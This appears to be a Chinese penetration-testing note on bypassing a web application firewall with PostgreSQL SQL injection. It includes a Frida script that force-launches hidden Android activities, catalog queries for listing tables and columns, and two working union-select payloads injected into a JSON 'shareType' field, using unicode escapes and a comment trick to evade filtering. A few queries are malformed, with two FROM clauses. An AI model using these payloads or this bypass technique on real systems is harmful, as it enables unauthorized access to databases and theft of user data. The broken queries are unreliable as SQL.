记一次postgres注入绕过waf

// 调用示例：
// jumpToActivity("com.example.app.ui.DebugActivity");
// jumpToActivity(".ui.DebugActivity");      // 自动补全包名
// jumpToActivity("com.example.app.ui.DetailActivity", { item_id: "A1001", fromPush: true });

function jumpToActivity(className, extras) {
    Java.perform(function () {
        try {
            var ActivityThread = Java.use('android.app.ActivityThread');
            var app = ActivityThread.currentApplication();
            if (app == null) {
                console.log('currentApplication() 返回 null，进程可能还没初始化完成。');
                return;
            }
            var context = app.getApplicationContext();

            // 自动补全 ".XXX" 这种相对类名
            if (className.startsWith(".")) {
                className = context.getPackageName() + className;
            }

            var Intent = Java.use('android.content.Intent');
            var intent = Intent.$new();
            intent.setClassName(context, className);

            // 使用 Application Context 启动必须加 NEW_TASK
            var FLAG_ACTIVITY_NEW_TASK = 0x10000000;
            intent.addFlags(FLAG_ACTIVITY_NEW_TASK);

            // 可选：添加少量常用 extras（按类型挑重载）
            if (extras) {
                var putExtraStr = intent.putExtra.overload('java.lang.String', 'java.lang.String');
                var putExtraBool = intent.putExtra.overload('java.lang.String', 'boolean');
                var putExtraInt  = intent.putExtra.overload('java.lang.String', 'int');
                Object.keys(extras).forEach(function (k) {
                    var v = extras[k];
                    if (typeof v === 'string')      putExtraStr.call(intent, k, v);
                    else if (typeof v === 'boolean') putExtraBool.call(intent, k, v);
                    else if (Number.isInteger(v))    putExtraInt.call(intent, k, v);
                    else                              console.log('跳过不支持的 extra 类型：' + k + ' = ' + v);
                });
            }

            // 切到主线程更稳妥
            Java.scheduleOnMainThread(function () {
                try {
                    context.startActivity(intent);
                    console.log('已启动 Activity: ' + className);
                } catch (e) {
                    console.log('startActivity 失败: ' + e);
                }
            });
        } catch (e) {
            console.log('jumpToActivity 异常: ' + e);
        }
    });
}

{"shareType":"3"}

"data": {
  "QRInfo": {
    "database_name": "2",
    "download_QR_code": "/path/to/xxx.png",
    "download_url": "http://xxx/123456"
  },
  "status": 1,
  "msg": "APP下载地址的二维码信息查询成功!"
},

SELECT tablename
FROM pg_tables
WHERE schemaname = 'public';

SELECT tablename, schemaname
FROM pg_tables
WHERE schemaname NOT IN ('information_schema', 'pg_catalog');

SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'public'
  AND table_type = 'BASE TABLE';

SELECT tablename, schemaname
FROM pg_tables;

{"shareType":"3 union/*\u0022*/\u0073elect tablename,'2' FROM pg_tables -- "}

SELECT 
    column_name,
    data_type,
    is_nullable,
    column_default
FROM information_schema.columns
WHERE table_name = '你的表名'
  AND table_schema = 'public'  -- 如果表不在 public 模式，请替换为实际 schema 名
ORDER BY ordinal_position;

SELECT
    a.attname AS column_name,
    pg_catalog.format_type(a.atttypid, a.atttypmod) AS data_type,
    CASE WHEN a.attnotnull THEN 'NO' ELSE 'YES' END AS is_nullable,
    pg_get_expr(ad.adbin, ad.adrelid) AS column_default
FROM pg_attribute a
LEFT JOIN pg_attrdef ad ON a.attrelid = ad.adrelid AND a.attnum = ad.adnum
WHERE a.attrelid = '你的表名'::regclass
  AND a.attnum > 0
  AND NOT a.attisdropped
ORDER BY a.attnum;

SELECT column_name
FROM information_schema.columns
WHERE table_name = 'users'
  AND table_schema = 'public';

SELECT json_object_keys(to_json(json_populate_record(null::your_table, '{}'::json))) AS column_name;

SELECT key AS column_name
FROM json_each_text(row_to_json(r))
FROM (SELECT (null::users).*) r;

SELECT skeys(hstore(null::users)) AS column_name;

// hstore 是 PostgreSQL 的一个扩展，用于存储键值对。
// hstore(null::users) 会把空记录转成 hstore："id"=>NULL, "name"=>NULL, ...
// skeys(...) 提取所有键 → 列名

SELECT key AS column_name
FROM json_each_text(row_to_json(r))
FROM (SELECT (null::users).*) r;

SELECT json_object_keys(
    to_json(
        json_populate_record(
            null::users,
            (concat(chr(123), chr(125)))::json
        )
    )
) AS column_name;

{"shareType":"4 union/*\u0022*/\u0073elect json_object_keys(to_json(json_populate_record(null::t_user,json_build_object()))),'\\' -- "}